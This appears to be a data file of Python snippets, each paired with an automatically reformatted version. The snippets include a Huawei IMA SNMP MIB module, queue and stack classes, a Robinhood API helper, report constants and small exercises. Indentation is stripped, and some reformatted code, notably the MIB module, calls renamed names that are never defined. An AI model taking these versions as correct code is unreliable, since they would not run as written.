(value_size_constraint, constraints_intersection, constraints_union, single_value_constraint, value_range_constraint) = mibBuilder.importSymbols('ASN1-REFINEMENT', 'ValueSizeConstraint', 'ConstraintsIntersection', 'ConstraintsUnion', 'SingleValueConstraint', 'ValueRangeConstraint')
(hw_datacomm,) = mibBuilder.importSymbols('HUAWEI-MIB', 'hwDatacomm')
(interface_index_or_zero, interface_index, if_index) = mibBuilder.importSymbols('IF-MIB', 'InterfaceIndexOrZero', 'InterfaceIndex', 'ifIndex')
(module_compliance, object_group, notification_group) = mibBuilder.importSymbols('SNMPv2-CONF', 'ModuleCompliance', 'ObjectGroup', 'NotificationGroup')
(integer32, time_ticks, counter64, counter32, iso, object_identity, module_identity, mib_identifier, bits, unsigned32, notification_type, enterprises, gauge32, mib_scalar, mib_table, mib_table_row, mib_table_column, ip_address) = mibBuilder.importSymbols('SNMPv2-SMI', 'Integer32', 'TimeTicks', 'Counter64', 'Counter32', 'iso', 'ObjectIdentity', 'ModuleIdentity', 'MibIdentifier', 'Bits', 'Unsigned32', 'NotificationType', 'enterprises', 'Gauge32', 'MibScalar', 'MibTable', 'MibTableRow', 'MibTableColumn', 'IpAddress')
(display_string, textual_convention, date_and_time, row_status) = mibBuilder.importSymbols('SNMPv2-TC', 'DisplayString', 'TextualConvention', 'DateAndTime', 'RowStatus')
hw_ima_mib = module_identity((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176))
if mibBuilder.loadTexts:
hwImaMIB.setLastUpdated('200902101400Z')
if mibBuilder.loadTexts:
hwImaMIB.setOrganization('Huawei Technologies co.,Ltd.')
if mibBuilder.loadTexts:
hwImaMIB.setContactInfo('Huawei Technologies co.,Ltd. Huawei Bld.,NO.3 Xinxi Rd., Shang-Di Information Industry Base, Hai-Dian District Beijing P.R. China http://www.huawei.com Zip:100085 ')
if mibBuilder.loadTexts:
hwImaMIB.setDescription('The MIB is mainly used to configure Inverse Multiplexing for ATM (IMA) interfaces.')
hw_ima_mib_objects = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1))
hw_ima_mib_conformance = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2))
class Milliseconds(TextualConvention, Integer32):
description = 'Time in milliseconds'
status = 'current'
class Imagroupstate(TextualConvention, Integer32):
description = 'State of the IMA group.'
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8, 9, 10))
named_values = named_values(('notConfigured', 1), ('startUp', 2), ('startUpAck', 3), ('configAbortUnsupportedM', 4), ('configAbortIncompatibleSymmetry', 5), ('configAbortOther', 6), ('insufficientLinks', 7), ('blocked', 8), ('operational', 9), ('configAbortUnsupportedImaVersion', 10))
class Imagroupsymmetry(TextualConvention, Integer32):
description = 'The group symmetry mode adjusted during the group start-up.'
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3))
named_values = named_values(('symmetricOperation', 1), ('asymmetricOperation', 2), ('asymmetricConfiguration', 3))
class Imaframelength(TextualConvention, Integer32):
description = 'Length of the IMA frames.'
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(32, 64, 128, 256))
named_values = named_values(('m32', 32), ('m64', 64), ('m128', 128), ('m256', 256))
class Imalinkstate(TextualConvention, Integer32):
description = 'State of a link belonging to an IMA group.'
status = 'current'
subtype_spec = Integer32.subtypeSpec + constraints_union(single_value_constraint(1, 2, 3, 4, 5, 6, 7, 8))
named_values = named_values(('notInGroup', 1), ('unusableNoGivenReason', 2), ('unusableFault', 3), ('unusableMisconnected', 4), ('unusableInhibited', 5), ('unusableFailed', 6), ('usable', 7), ('active', 8))
hw_ima_group_table = mib_table((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1))
if mibBuilder.loadTexts:
hwImaGroupTable.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupTable.setDescription('The IMA Group Configuration table.')
hw_ima_group_entry = mib_table_row((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1)).setIndexNames((0, 'HUAWEI-IMA-MIB', 'hwImaGroupIfIndex'))
if mibBuilder.loadTexts:
hwImaGroupEntry.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupEntry.setDescription('An entry in the IMA Group table.')
hw_ima_group_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 1), interface_index()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group, and is used to identify corresponding rows in the Interfaces MIB. Note that re-initialization of the management agent may cause a client's 'hwImaGroupIfIndex' to change.")
hw_ima_group_ne_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 2), ima_group_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupNeState.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupNeState.setDescription('The current operational state of the near-end IMA Group State Machine.')
hw_ima_group_fe_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 3), ima_group_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupFeState.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupFeState.setDescription('The current operational state of the far-end IMA Group State Machine.')
hw_ima_group_symmetry = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 4), ima_group_symmetry().clone('symmetricOperation')).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupSymmetry.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupSymmetry.setDescription('Symmetry of the IMA group.')
hw_ima_group_min_num_tx_links = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 5), integer32().subtype(subtypeSpec=value_range_constraint(1, 32))).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaGroupMinNumTxLinks.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupMinNumTxLinks.setDescription('Minimum number of transmit links required to be Active for the IMA group to be in the Operational state.')
hw_ima_group_min_num_rx_links = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 6), integer32().subtype(subtypeSpec=value_range_constraint(1, 32))).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaGroupMinNumRxLinks.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupMinNumRxLinks.setDescription('Minimum number of receive links required to be Active for the IMA group to be in the Operational state.')
hw_ima_group_tx_timing_ref_link = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 7), interface_index_or_zero()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupTxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupTxTimingRefLink.setDescription('The ifIndex of the transmit timing reference link to be used by the near-end for IMA data cell clock recovery from the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the transmit timing reference link has not yet been selected.')
hw_ima_group_rx_timing_ref_link = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 8), interface_index_or_zero()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupRxTimingRefLink.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupRxTimingRefLink.setDescription('The ifIndex of the receive timing reference link to be used by near-end for IMA data cell clock recovery toward the ATM layer. The distinguished value of zero may be used if no link has been configured in the IMA group, or if the receive timing reference link has not yet been detected.')
hw_ima_group_tx_ima_id = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 9), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupTxImaId.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupTxImaId.setDescription('The IMA ID currently in use by the near-end IMA function.')
hw_ima_group_rx_ima_id = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 10), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupRxImaId.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupRxImaId.setDescription('The IMA ID currently in use by the far-end IMA function.')
hw_ima_group_tx_frame_length = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 11), ima_frame_length().clone('m128')).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaGroupTxFrameLength.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupTxFrameLength.setDescription('The frame length to be used by the IMA group in the transmit direction. Can only be set when the IMA group is startup.')
hw_ima_group_rx_frame_length = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 12), ima_frame_length()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupRxFrameLength.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupRxFrameLength.setDescription('Value of IMA frame length as received from remote IMA function.')
hw_ima_group_diff_delay_max = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 13), milli_seconds().subtype(subtypeSpec=value_range_constraint(25, 100)).clone(25)).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaGroupDiffDelayMax.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupDiffDelayMax.setDescription('The maximum number of milliseconds of differential delay among the links that will be tolerated on this interface.')
hw_ima_group_alpha_value = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 14), integer32().subtype(subtypeSpec=value_range_constraint(1, 2)).clone(2)).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupAlphaValue.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupAlphaValue.setDescription("This indicates the 'alpha' value used to specify the number of consecutive invalid ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hw_ima_group_beta_value = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 15), integer32().subtype(subtypeSpec=value_range_constraint(1, 5)).clone(2)).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupBetaValue.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupBetaValue.setDescription("This indicates the 'beta' value used to specify the number of consecutive errored ICP cells to be detected before moving to the IMA Hunt state from the IMA Sync state.")
hw_ima_group_gamma_value = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 16), integer32().subtype(subtypeSpec=value_range_constraint(1, 5)).clone(1)).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupGammaValue.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupGammaValue.setDescription("This indicates the 'gamma' value used to specify the number of consecutive valid ICP cells to be detected before moving to the IMA Sync state from the IMA PreSync state.")
hw_ima_group_num_tx_act_links = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 17), gauge32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupNumTxActLinks.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupNumTxActLinks.setDescription('The number of links which are configured to transmit and are currently Active in this IMA group.')
hw_ima_group_num_rx_act_links = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 18), gauge32()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupNumRxActLinks.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupNumRxActLinks.setDescription('The number of links which are configured to receive and are currently Active in this IMA group.')
hw_ima_group_tx_oam_label_value = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 19), integer32().subtype(subtypeSpec=value_range_constraint(1, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupTxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupTxOamLabelValue.setDescription('IMA OAM Label value transmitted by the NE IMA unit.')
hw_ima_group_rx_oam_label_value = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 20), integer32().subtype(subtypeSpec=value_range_constraint(0, 255))).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupRxOamLabelValue.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupRxOamLabelValue.setDescription('IMA OAM Label value transmitted by the FE IMA unit. The value 0 likely means that the IMA unit has not received an OAM Label from the FE IMA unit at this time.')
hw_ima_group_first_link_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 1, 1, 21), interface_index()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaGroupFirstLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupFirstLinkIfIndex.setDescription('This object identifies the first link of this IMA Group.')
hw_ima_link_table = mib_table((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2))
if mibBuilder.loadTexts:
hwImaLinkTable.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkTable.setDescription('The IMA group Link Status and Configuration table.')
hw_ima_link_entry = mib_table_row((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1)).setIndexNames((0, 'HUAWEI-IMA-MIB', 'hwImaLinkIfIndex'))
if mibBuilder.loadTexts:
hwImaLinkEntry.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkEntry.setDescription('An entry in the IMA Group Link table.')
hw_ima_link_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 1), interface_index())
if mibBuilder.loadTexts:
hwImaLinkIfIndex.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkIfIndex.setDescription("This corresponds to the 'ifIndex' of the MIB-II interface on which this link is established. This object also corresponds to the logical number ('ifIndex') assigned to this IMA link.")
hw_ima_link_group_if_index = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 2), interface_index()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaLinkGroupIfIndex.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkGroupIfIndex.setDescription("This object identifies the logical interface number ('ifIndex') assigned to this IMA group. The specified link will be bound to this IMA group.")
hw_ima_link_ne_tx_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 3), ima_link_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaLinkNeTxState.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkNeTxState.setDescription('The current state of the near-end transmit link.')
hw_ima_link_ne_rx_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 4), ima_link_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaLinkNeRxState.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkNeRxState.setDescription('The current state of the near-end receive link.')
hw_ima_link_fe_tx_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 5), ima_link_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaLinkFeTxState.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkFeTxState.setDescription('The current state of the far-end transmit link as reported via ICP cells.')
hw_ima_link_fe_rx_state = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 6), ima_link_state()).setMaxAccess('readonly')
if mibBuilder.loadTexts:
hwImaLinkFeRxState.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkFeRxState.setDescription('The current state of the far-end receive link as reported via ICP cells.')
hw_ima_link_row_status = mib_table_column((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 1, 2, 1, 51), row_status()).setMaxAccess('readcreate')
if mibBuilder.loadTexts:
hwImaLinkRowStatus.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkRowStatus.setDescription("The hwImaLinkRowStatus object allows create, change, and delete operations on hwImaLinkTable entries. To create a new conceptual row (or instance) of the hwImaLinkTable, hwImaLinkRowStatus must be set to 'createAndWait' or 'createAndGo'. A successful set of the imaLinkGroupIndex object must be performed before the hwImaLinkRowStatus of a new conceptual row can be set to 'active'. To change (modify) the imaLinkGroupIndex in an hwImaLinkTable entry, the hwImaLinkRowStatus object must first be set to 'notInService'. Only then can this object in the conceptual row be modified. This is due to the fact that the imaLinkGroupIndex object provides the association between a physical IMA link and the IMA group to which it belongs, and setting the imaLinkGroupIndex object to a different value has the effect of changing the association between a physical IMA link and an IMA group. To place the link 'in group', the hwImaLinkRowStatus object is set to 'active'. While the row is not in 'active' state, both the Transmit and Receive IMA link state machines are in the 'Not In Group' state. To remove (delete) an hwImaLinkTable entry from this table, set this object to 'destroy'.")
hw_ima_mib_groups = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1))
hw_ima_mib_compliances = mib_identifier((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2))
hw_ima_mib_compliance = module_compliance((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 2, 1)).setObjects(('HUAWEI-IMA-MIB', 'hwImaGroupGroup'), ('HUAWEI-IMA-MIB', 'hwImaLinkGroup'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hw_ima_mib_compliance = hwImaMibCompliance.setStatus('current')
if mibBuilder.loadTexts:
hwImaMibCompliance.setDescription('The compliance statement for network elements implementing Inverse Multiplexing for ATM (IMA) interfaces.')
hw_ima_group_group = object_group((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 1)).setObjects(('HUAWEI-IMA-MIB', 'hwImaGroupIfIndex'), ('HUAWEI-IMA-MIB', 'hwImaGroupNeState'), ('HUAWEI-IMA-MIB', 'hwImaGroupFeState'), ('HUAWEI-IMA-MIB', 'hwImaGroupSymmetry'), ('HUAWEI-IMA-MIB', 'hwImaGroupMinNumTxLinks'), ('HUAWEI-IMA-MIB', 'hwImaGroupMinNumRxLinks'), ('HUAWEI-IMA-MIB', 'hwImaGroupTxTimingRefLink'), ('HUAWEI-IMA-MIB', 'hwImaGroupRxTimingRefLink'), ('HUAWEI-IMA-MIB', 'hwImaGroupTxImaId'), ('HUAWEI-IMA-MIB', 'hwImaGroupRxImaId'), ('HUAWEI-IMA-MIB', 'hwImaGroupTxFrameLength'), ('HUAWEI-IMA-MIB', 'hwImaGroupRxFrameLength'), ('HUAWEI-IMA-MIB', 'hwImaGroupDiffDelayMax'), ('HUAWEI-IMA-MIB', 'hwImaGroupAlphaValue'), ('HUAWEI-IMA-MIB', 'hwImaGroupBetaValue'), ('HUAWEI-IMA-MIB', 'hwImaGroupGammaValue'), ('HUAWEI-IMA-MIB', 'hwImaGroupNumTxActLinks'), ('HUAWEI-IMA-MIB', 'hwImaGroupNumRxActLinks'), ('HUAWEI-IMA-MIB', 'hwImaGroupTxOamLabelValue'), ('HUAWEI-IMA-MIB', 'hwImaGroupRxOamLabelValue'), ('HUAWEI-IMA-MIB', 'hwImaGroupFirstLinkIfIndex'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hw_ima_group_group = hwImaGroupGroup.setStatus('current')
if mibBuilder.loadTexts:
hwImaGroupGroup.setDescription('A set of objects providing configuration and status information for an IMA group definition.')
hw_ima_link_group = object_group((1, 3, 6, 1, 4, 1, 2011, 5, 25, 176, 2, 1, 2)).setObjects(('HUAWEI-IMA-MIB', 'hwImaLinkGroupIfIndex'), ('HUAWEI-IMA-MIB', 'hwImaLinkNeTxState'), ('HUAWEI-IMA-MIB', 'hwImaLinkNeRxState'), ('HUAWEI-IMA-MIB', 'hwImaLinkFeTxState'), ('HUAWEI-IMA-MIB', 'hwImaLinkFeRxState'), ('HUAWEI-IMA-MIB', 'hwImaLinkRowStatus'))
if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0):
hw_ima_link_group = hwImaLinkGroup.setStatus('current')
if mibBuilder.loadTexts:
hwImaLinkGroup.setDescription('A set of objects providing status information for an IMA link.')
mibBuilder.exportSymbols('HUAWEI-IMA-MIB', hwImaMibGroups=hwImaMibGroups, hwImaMIB=hwImaMIB, hwImaGroupTxFrameLength=hwImaGroupTxFrameLength, hwImaMibCompliance=hwImaMibCompliance, hwImaGroupGammaValue=hwImaGroupGammaValue, hwImaMibObjects=hwImaMibObjects, hwImaGroupFeState=hwImaGroupFeState, hwImaGroupRxTimingRefLink=hwImaGroupRxTimingRefLink, ImaGroupState=ImaGroupState, hwImaGroupNumTxActLinks=hwImaGroupNumTxActLinks, hwImaGroupMinNumTxLinks=hwImaGroupMinNumTxLinks, hwImaGroupDiffDelayMax=hwImaGroupDiffDelayMax, hwImaGroupRxOamLabelValue=hwImaGroupRxOamLabelValue, hwImaLinkTable=hwImaLinkTable, hwImaLinkFeTxState=hwImaLinkFeTxState, hwImaLinkGroupIfIndex=hwImaLinkGroupIfIndex, hwImaLinkNeRxState=hwImaLinkNeRxState, hwImaGroupEntry=hwImaGroupEntry, hwImaMibConformance=hwImaMibConformance, hwImaGroupTable=hwImaGroupTable, ImaGroupSymmetry=ImaGroupSymmetry, hwImaLinkFeRxState=hwImaLinkFeRxState, hwImaGroupTxOamLabelValue=hwImaGroupTxOamLabelValue, hwImaGroupAlphaValue=hwImaGroupAlphaValue, hwImaLinkNeTxState=hwImaLinkNeTxState, hwImaGroupRxFrameLength=hwImaGroupRxFrameLength, MilliSeconds=MilliSeconds, PYSNMP_MODULE_ID=hwImaMIB, ImaLinkState=ImaLinkState, hwImaGroupIfIndex=hwImaGroupIfIndex, hwImaGroupNeState=hwImaGroupNeState, hwImaLinkEntry=hwImaLinkEntry, hwImaGroupRxImaId=hwImaGroupRxImaId, hwImaMibCompliances=hwImaMibCompliances, hwImaGroupGroup=hwImaGroupGroup, hwImaGroupBetaValue=hwImaGroupBetaValue, hwImaLinkIfIndex=hwImaLinkIfIndex, hwImaGroupMinNumRxLinks=hwImaGroupMinNumRxLinks, hwImaGroupFirstLinkIfIndex=hwImaGroupFirstLinkIfIndex, hwImaGroupSymmetry=hwImaGroupSymmetry, hwImaGroupTxImaId=hwImaGroupTxImaId, hwImaLinkGroup=hwImaLinkGroup, hwImaLinkRowStatus=hwImaLinkRowStatus, hwImaGroupNumRxActLinks=hwImaGroupNumRxActLinks, hwImaGroupTxTimingRefLink=hwImaGroupTxTimingRefLink, ImaFrameLength=ImaFrameLength) |
class priorityqueue():
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
if len(self.data) == 0:
self.data.append(i)
else:
for j in range(len(self.data)):
if self.data[j][1] > i[1]:
self.data.insert(j, i)
return
self.data.append(i)
def remove(self):
return self.data.pop(0)
def isempty(self):
return len(self.data) == 0
class stack():
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
self.data.append(i)
def remove(self):
return self.data.pop()
def isempty(self):
return len(self.data) == 0
def reverse(self):
return reversed(self.data)
def ToPath(a, b, hashtable, stack):
stack.add(b)
if hashtable[b] == a:
stack.add(a)
return list(stack.reverse())
else:
return ToPath(a, hashtable[b], hashtable, stack)
| class Priorityqueue:
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
if len(self.data) == 0:
self.data.append(i)
else:
for j in range(len(self.data)):
if self.data[j][1] > i[1]:
self.data.insert(j, i)
return
self.data.append(i)
def remove(self):
return self.data.pop(0)
def isempty(self):
return len(self.data) == 0
class Stack:
def __init__(self):
self.data = []
def __repr__(self):
return str(self.data)
def add(self, i):
self.data.append(i)
def remove(self):
return self.data.pop()
def isempty(self):
return len(self.data) == 0
def reverse(self):
return reversed(self.data)
def to_path(a, b, hashtable, stack):
stack.add(b)
if hashtable[b] == a:
stack.add(a)
return list(stack.reverse())
else:
return to_path(a, hashtable[b], hashtable, stack) |
class Account(object):
@classmethod
def all(cls, client):
request_url = "https://api.robinhood.com/accounts/"
data = client.get(request_url)
results = data["results"]
while data["next"]:
data = client.get(data["next"])
results.extend(data["results"])
return results
@classmethod
def all_urls(cls, client):
accounts = cls.all(client)
urls = [account["url"] for account in accounts]
return urls
| class Account(object):
@classmethod
def all(cls, client):
request_url = 'https://api.robinhood.com/accounts/'
data = client.get(request_url)
results = data['results']
while data['next']:
data = client.get(data['next'])
results.extend(data['results'])
return results
@classmethod
def all_urls(cls, client):
accounts = cls.all(client)
urls = [account['url'] for account in accounts]
return urls |
## global strings for output dictionaries ##
NAME = "name"
TABLE = "table"
FIELD = "field"
TABLES = "tables"
VALUE = "value"
FIELDS = "fields"
REPORT = "report"
MRN = "mrn"
DATE = "date"
MRN_CAPS = "MRN"
UWID = "uwid"
ACCESSION_NUM = "accession"
KARYO = "karyotype"
KARYOTYPE_STRING = "KaryotypeString"
FILLER_ORDER_NO = "FillerOrderNo"
CONFIDENCE = "confidence"
VERSION = "algorithmVersion"
STARTSTOPS = "startStops"
SET_ID = "SetId"
OBSERVATION_VALUE = "ObservationValue"
SPECIMEN_SOURCE = "SpecimenSource"
KEY = "recordKey"
START = "startPosition"
STOP = "stopPosition"
ERR_STR = "errorString"
ERR_TYPE = "errorType"
INSUFFICIENT = "Insufficient"
MISCELLANEOUS = "Miscellaneous"
INTERMEDIATE = "Intermediate"
UNFAVORABLE = "Unfavorable"
FAVORABLE = "Favorable"
CELL_COUNT = "CellCount"
CELL_ORDER = "CellTypeOrder"
CHROMOSOME = "Chromosome"
ABNORMALITIES = "Abnormalities"
CHROMOSOME_NUM = "ChromosomeNumber"
WARNING = "Warning"
CYTOGENETICS = "Cytogenetics"
SWOG = "AML_SWOG_RiskCategory"
ELN = "ELN_RiskCategory"
POLY = "Polyploidy"
UNKNOWN = "Unknown"
SPEC_DATE = "spec_date"
OFFSET = "Offset"
PARSE_ERR = "PARSING ERROR"
DATE = "ReceivedDate"
| name = 'name'
table = 'table'
field = 'field'
tables = 'tables'
value = 'value'
fields = 'fields'
report = 'report'
mrn = 'mrn'
date = 'date'
mrn_caps = 'MRN'
uwid = 'uwid'
accession_num = 'accession'
karyo = 'karyotype'
karyotype_string = 'KaryotypeString'
filler_order_no = 'FillerOrderNo'
confidence = 'confidence'
version = 'algorithmVersion'
startstops = 'startStops'
set_id = 'SetId'
observation_value = 'ObservationValue'
specimen_source = 'SpecimenSource'
key = 'recordKey'
start = 'startPosition'
stop = 'stopPosition'
err_str = 'errorString'
err_type = 'errorType'
insufficient = 'Insufficient'
miscellaneous = 'Miscellaneous'
intermediate = 'Intermediate'
unfavorable = 'Unfavorable'
favorable = 'Favorable'
cell_count = 'CellCount'
cell_order = 'CellTypeOrder'
chromosome = 'Chromosome'
abnormalities = 'Abnormalities'
chromosome_num = 'ChromosomeNumber'
warning = 'Warning'
cytogenetics = 'Cytogenetics'
swog = 'AML_SWOG_RiskCategory'
eln = 'ELN_RiskCategory'
poly = 'Polyploidy'
unknown = 'Unknown'
spec_date = 'spec_date'
offset = 'Offset'
parse_err = 'PARSING ERROR'
date = 'ReceivedDate' |
username = input('Enter your name: ')
password = input('Enter your password: ')
password_len = len(password)
password_secret = '*' * password_len
print(f'Your name is: {username} and your {password_secret} is {password_len} letters long.')
| username = input('Enter your name: ')
password = input('Enter your password: ')
password_len = len(password)
password_secret = '*' * password_len
print(f'Your name is: {username} and your {password_secret} is {password_len} letters long.') |
maxvalue = int(input("Until which value do you want to calculate the prime numbers?"))
# The first prime, 2, we skip, so that afterwards we can make our loop faster by skipping all even numbers:
print("The prime numbers under", maxvalue, "are:")
print(2)
# Break as soon as isprime is False
for n in range(3, maxvalue + 1, 2):
# Let's start out by assuming n is a prime:
isprime = True
# For each n we want to look at all values larger than one, and smaller than n:
for x in range(2, n):
# If n is divisible by x, the remainder of this division is 0. We can check this with the modulo operator:
if n % x == 0:
# If we get here the current n is not a prime.
isprime = False
# we don't need to check further numbers
break
# If isprime is still True this is indeed a prime
if isprime:
print(n)
# Alternative approach with for-else
for n in range(3, maxvalue + 1, 2):
for x in range(2, n):
if n % x == 0:
# In this case we only need to break
break
else:
# When this else block is reached n is a prime
print(n) | maxvalue = int(input('Until which value do you want to calculate the prime numbers?'))
print('The prime numbers under', maxvalue, 'are:')
print(2)
for n in range(3, maxvalue + 1, 2):
isprime = True
for x in range(2, n):
if n % x == 0:
isprime = False
break
if isprime:
print(n)
for n in range(3, maxvalue + 1, 2):
for x in range(2, n):
if n % x == 0:
break
else:
print(n) |
s,n = [int(x) for x in input().split()]
arr = []
for _ in range(n):
x,y = [int(x) for x in input().split()]
arr.append((x,y))
arr.sort(key=lambda x: x[0])
msg = "YES"
for i in range(n):
x,y = arr[i]
if s > x:
s += y
else:
msg = "NO"
break
print(msg)
| (s, n) = [int(x) for x in input().split()]
arr = []
for _ in range(n):
(x, y) = [int(x) for x in input().split()]
arr.append((x, y))
arr.sort(key=lambda x: x[0])
msg = 'YES'
for i in range(n):
(x, y) = arr[i]
if s > x:
s += y
else:
msg = 'NO'
break
print(msg) |
class ProfileParsingError(Exception):
pass
class RoleNotFoundError(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
# a string describing the IAM context
self.credential_method = credential_method
class AssumeRoleError(Exception):
def __init__(self, credential_method, *args, **kwargs):
Exception.__init__(self, *args, **kwargs)
# a string describing the IAM context
self.credential_method = credential_method
| class Profileparsingerror(Exception):
pass
